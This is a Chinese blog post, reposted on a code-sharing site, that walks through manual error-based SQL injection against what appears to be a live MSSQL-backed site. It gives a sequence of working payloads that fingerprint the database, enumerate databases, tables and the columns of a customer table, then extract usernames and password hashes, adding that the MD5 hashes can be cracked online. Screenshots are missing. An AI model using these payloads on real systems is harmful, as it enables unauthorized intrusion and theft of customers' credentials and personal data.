码迷,mamicode.com
首页 > 数据库 > 详细

MQSQL手工注入

时间:2017-07-17 18:49:47      阅读:183      评论:0      收藏:0      [点我收藏+]

标签:网络安全   sql注入   手工注入   mssql注入   


注入点屏蔽了and语句and 1=2 没有报错,就用or语句。


技术分享

技术分享









and (select count(*) from sysobjects)>0 返回正常就是mssql数据库


技术分享





and 1=(select @@version) 查看版本信息


技术分享





and 1=(select db_name())获取当前所在数据库名(对其他数据库没有权限)

技术分享





and 1=(select top 1 name from master..sysdatabases where dbid>4)

获取第一个数据库名



技术分享





and 1=(select top 1 name from master..sysdatabases where dbid>4 andname <> ‘第一个数据库库名‘) 获取第二个数据库库名


技术分享





可以继续爆数据库:and 1=(select top 1 name from master..sysdatabaseswhere dbid>4 and name <> ‘第一个库名‘ and name <> ‘第二个库名‘)


技术分享






以此类推我爆出了6个数据库

 and 1=(select top 1 name from master..sysdatabases where dbid>4 andname <> ‘第一个库名‘ and name <> ‘第二个库名‘ and name <> ‘第三个库名‘ and name <> ‘第四个库名‘ and name <> ‘第五个库名‘ and name <> ‘第六个库名‘)


技术分享






获取第一个当前使用的数据库表名:and 1=(select top 1 name from sysobjects wherextype=‘u‘)


技术分享





获取第二个当前使用的数据库表名:and 1=(select top 1 name from sysobjects where xtype=‘u and name <> ‘第一个数据库表名‘)


技术分享





以此类推一直把所有表名全部爆出(超痛苦~

 and 1=(select top 1 name from sysobjects wherextype=‘u‘ and name <> ‘1‘ and name <> ‘2‘ and name <> ‘3‘ and name <> ‘4‘ and name <> ‘5‘ and name <> ‘.......................... and name <> ‘42‘)


技术分享




获取第一个当前使用的数据库中的表(CusTomer)中的字段:and 1=(select top 1 name from syscolumns whereid=(select id from sysobjects where name = ‘CusTomer‘))


技术分享



同理,一直爆该表的字段,爆完为止:and 1=(select top 1 name from syscolumns where id= (select id fromsysobjects where name = ‘CusTomer‘)and name <> ‘Account‘ and name<> ‘Account_UseMode‘ and name <> ‘Address‘ and name <>‘AvailDate‘ and name <> ‘Bind_IP‘ and name <> ‘ContactType‘ andname <> ‘CreateDate‘ and name <> ‘CusTomer_ID‘ and name <>‘CusTomer_UUID‘ and name <> ‘Discount‘ and name <> ‘Distinction‘and name <> ‘IDCardNo‘ and name <> ‘LastCheckDate‘ and name<> ‘LastProgID‘ and name <> ‘LastTime‘ and name <> ‘ModiMail‘and name <> ‘ModiPass‘ and name <> ‘PayMode‘ and name <>‘PBAnswer‘ and name <> ‘PBQuestion‘ and name <> ‘Purchase_Mode‘ andname <> ‘RealName‘ and name <> ‘Status‘ and name  <> ‘UserAge‘ and name <>‘UserDuty‘ and name <> ‘UserMail‘ and name <> ‘UserMemo‘ and name<> ‘UserName‘ and name <> ‘UserPass‘ and name <>‘UserTechPost‘)

技术分享




获取第一个当前使用的数据库中的表(UserPass)中的列(CusTomer)的字段:and 1=(select top1 UserPass from CusTomer)

技术分享





UserName 需要一些技巧,需要编码:

技术分享




账号密码都有了,密码是MD5加密,网上有很多都解密的!



欢迎大佬们多多批评指点!

本文出自 “10914757” 博客,谢绝转载!

MQSQL手工注入

标签:网络安全   sql注入   手工注入   mssql注入   

原文地址:http://10924757.blog.51cto.com/10914757/1948266

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!